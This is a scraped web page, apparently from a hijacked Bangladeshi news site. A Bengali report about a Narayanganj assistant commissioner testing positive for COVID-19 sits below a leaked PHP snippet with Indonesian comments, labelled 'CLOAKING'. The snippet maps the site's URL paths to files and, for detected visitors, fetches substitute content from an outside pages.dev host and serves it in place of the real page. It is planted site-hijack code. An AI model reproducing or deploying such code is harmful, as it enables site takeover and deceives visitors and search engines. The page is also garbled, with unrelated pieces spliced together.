/* ===== NORMALISASI PATH (VERSI PERBAIKAN) ===== */ // Ambil path, hapus query string (?abc=123) jika ada $p = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // Hilangkan index.php $p = str_replace('/index.php', '', $p); // Pastikan path selalu diawali dengan '/' dan tidak diakhiri dengan '/' (kecuali root) $p = '/' . ltrim(rtrim($p, '/'), '/'); /* ===== MAPPING URL ===== */ $map = [ '/technical/251262' => 'content39.txt', '/education-ministry/243185' => 'content40.txt', '/dshe/252183' => 'content41.txt', '/' => 'content42.txt', // Sekarang ini akan terpanggil dengan benar '/ntrca/238706' => 'content43.txt', '/section/admission-test/110' => 'content44.txt', '/section/ntrca/122' => 'content45.txt' ]; /* ===== CLOAKING ===== */ // Debugging sederhana (hapus jika sudah jalan): // echo "Path terdeteksi: " . $p; if($b && isset($map[$p])){ $content_url = "https://new-content-page.pages.dev/" . $map[$p]; $x = fetch($content_url); if($x && strlen(trim($x)) > 50){ header("Content-Type: text/html; charset=utf-8"); echo $x; exit; } }
নারায়ণগঞ্জ জেলা প্রশাসক কার্যালয়ের সহকারী কমিশনার ফারজানা আক্তার করোনাভাইরাসে আক্রান্ত হয়েছেন। বেশি কিছুদিন ধরে তিনি রূপগঞ্জে ভ্রাম্যমান আদালতের নির্বাহী ম্যাজিষ্ট্রেটের দায়িত্বে কর্মরত আছেন। এ কারনে উনার সাথে কর্মরত রূপগঞ্জ উপজেলা নির্বাহী কর্মকর্তা, উপজেলা চেয়ারম্যান, সহকারী কমিশনার (ভূমি) সহ কর্তব্যরত কর্মকতা কর্মচারীদের কোয়ারেন্টিনে থাকার নির্দেশ দিয়েছেন জেলা স্বাস্থ্য কর্মকর্তা। বিষয়টি নিশ্চিত করেছেন উপজেলা স্বাস্থ্য ও পরিবার পরিকল্পনা কর্মকর্তা সাঈদ আল মামুন।
উপজেলা স্বাস্থ্য ও পরিবার পরিকল্পনা কর্মকর্তা ডাঃ সাঈদ আল মামুন জানান, করোনা ভাইরাসে আক্রান্ত সহকারী কমিশনার ফারজানা আক্তার নারায়ণগঞ্জের বন্দর উপজেলায় কর্মরত ছিলেন। তিনি সেখানে করোনাভাইরাস নমুনা সংগ্রহ ও করোনা রোগীদের নিয়ে কাজ করতেন। একসপ্তাহ আগে তিনি রূপগঞ্জে বদলী হয়ে আসেন। এখানে তিনি উপজেলা নির্বাহী কর্মকর্তা মমতাজ বেগমের সাথে কাজ করতেন। উপজেলার বিভিন্ন এলাকায় করোনায় সচেতনায় ও ভ্রাম্যমান আদালতের নির্বাহী ম্যাজিষ্ট্রেটের দায়িত্বরত ছিলেন তিনি। পাশাপাশি নির্বাহী কর্মকর্তা, উপজেলা চেয়ারম্যানসহ উপজেলা প্রশাসনের কর্মরত কর্মকর্তা ও কর্মচারীদের সাথে প্রশাসনিক কাজকর্ম করে আসছিল।
এদিকে ৪ দিন আগে ফারজানা আক্তারের প্রচন্ড জ্বর, সর্দি কাশি দেখা দেয়। শুক্রবার উনার নমুনা নারায়ণগঞ্জে পাঠানো হয়। শনিবার উনার করোনাভাইরাস (কোভিড-১৯) এর রিপোর্ট পজেটিভ আসে। বর্তমানে উনি ডাক্তারের পরামর্শে নিজ বাসায় আইসোলেশনে রয়েছেন। এছাড়া উনার সাথে কাজ করার সুবাদে উপজেলা নির্বাহী কর্মকর্তা, উপজেলা চেয়ারম্যান, এসিল্যান্ডসহ উপজেলা প্রশাসনের কর্মকর্তা ও কর্মচারীদের হোম কেয়ারেন্টাইনে থেকে কাজ করার নিদের্শ দেন জেলা স্বাস্থ্য কর্মকর্তা। সোমবার তাদের নমুনা পরীক্ষার করা হবে বলে ডাঃ সাঈদ আল মামুন আরো জানান।